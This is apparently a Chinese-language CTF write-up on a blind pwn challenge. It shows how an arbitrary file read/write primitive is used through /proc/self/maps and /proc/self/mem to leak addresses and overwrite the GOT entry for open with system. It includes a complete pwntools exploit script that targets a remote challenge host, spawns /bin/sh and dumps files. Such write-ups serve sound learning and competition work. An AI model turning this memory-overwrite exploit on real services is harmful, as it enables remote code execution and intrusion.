introduction
西湖击剑线上赛的时候碰到一道(web)题,通过 php 可以进行任意地址读写(当然总是拿不到shell或flag)。听师傅们说有一种很厉害的方法可以通过改 php 的 elf 获取到 shell。
/proc/self/maps
这个文件会显示该进程的所有段的权限信息
/proc/self/mem
这个文件保存了该进程的所有内存信息,可以直接读写
接下来 SuperGate 马上出了一道 CNSS 招新盲打题,做了一下,体验非常棒(咋不出成 d^3ctf 题呢,哭哭)
接下来记录一下我做题的心路历程。
challenge
analyze
题目给了任意地址读写(当然禁止读 flag 和 elf)
然后就没有任何提示了。
根据前面的分析,可以利用 /proc/self/maps
,读出 elf 的某个段(最直接能想到的就是 got 表所在的段了),然后分析数据,确定 open
所在的 got 表项,改掉它即可。
看了一下目标机器的 maps:
EquinoxFlower 占了五个段。
一开始没有注意 elf 是分段的,直接读取会使得偏移出错。
正确的做法是读取那个权限为 rw-p
的段,因为只有 got 表才可写。
dump 出 elf 的 got 所在段:
看到一堆 0x7f
开头的地址,盲猜是 got 表项,接下来就是把所有的地址拿到 libc_searcher 里面去尝试,我试出来一个 puts
一个 open
,刚好对应一个特定版本的 libc:
刚好对应 got 表中的这个:
这样思路就有了:获取 maps,把 elf 对应的 open 函数的 got 表改掉,下一次 open(dir) 的时候会直接调用 system(dir)
exp
from pwn import *
import sys
#context.log_level = 'DEBUG'
context.terminal=["open-wsl.exe","-c"]
ver = '2.23'
elf_dir = './EquinoxFlower'
ld_dir = '/glibc/x64/{0}/lib/ld-{0}.so'.format(ver)
libc_dir = './libc-2.23.so'
#libc_dir = "/glibc/x64/{0}/lib/libc-{0}.so".format(ver)
if(len(sys.argv) == 1):
#p = process(elf_dir)
#p = process([elf_dir],env={"LD_PRELOAD": libc_dir})
p = process([ld_dir, elf_dir], env={"LD_PRELOAD": libc_dir})
else:
p = remote('120.79.215.250', 20000)
def read_mem(path, off, size):
p.sendlineafter('path: ', path)
p.sendlineafter('>> ', '1')
p.sendlineafter('Offset: ', str(off))
p.sendlineafter('Length: ', str(size))
def write_mem(path, off, size, data):
p.sendlineafter('path: ', path)
p.sendlineafter('>> ', '2')
p.sendlineafter('Length: ', str(size))
p.sendafter('Content: ', data)
p.sendlineafter('Offset: ', str(off))
def get_mem(name, base, size):
f = open("./%s" % name, 'wb')
while True:
if size > 0x1000:
read_mem('/proc/self/mem', base, 0x1000)
f.write(p.recv(0x1000))
size -= 0x1000
base += 0x1000
else:
read_mem('/proc/self/mem', base, size)
f.write(p.recv(size))
break
f.close()
return
def get_file(src, name, base, size):
f = open("./%s" % name, 'wb')
while True:
if size > 0x1000:
read_mem(src, base, 0x1000)
f.write(p.recv(0x1000))
size -= 0x1000
base += 0x1000
else:
read_mem(src, base, size)
f.write(p.recv(size))
break
f.close()
return
read_mem('/proc/self/maps', 0, 0x1000)
elf_base = int(b'0x' + p.recv(len('556f6f17b000')), 16)
success("elf_base:" + hex(elf_base))
# dump ELF_got libc
"""
get_mem('EquinoxFlower_got', elf_base+0x4000, 0x1000)
get_file('/lib/x86_64-linux-gnu/libc-2.23.so', 'libc.so', 0, 0x200000)
"""
for i in range(5):
p.recvuntil('\n')
libc_base = int(b'0x'+p.recv(len("7fbb21a11000")) ,16)
system = libc_base + 0x0453a0
success("libc_base:" + hex(libc_base))
success("system:" + hex(system))
write_mem('/proc/self/mem', elf_base+0x4000+0x88, 0x8, p64(system))
p.sendlineafter('path: ', '/bin/sh')
p.sendline('cd /home/ctf')
# dump ELF
"""
p.sendline('cat EquinoxFlower')
p.sendline('pwd')
f = open('./EquinoxFlower', 'wb')
f.write(p.recvuntil('/home/ctf')[:-9])
f.close()
"""
# dump libc
"""
p.sendline('cat /lib/x86_64-linux-gnu/libc-2.23.so')
p.sendline('pwd')
f = open('./libc-2.23.so', 'wb')
f.write(p.recvuntil('/home/ctf')[:-9])
f.close()
"""
p.interactive()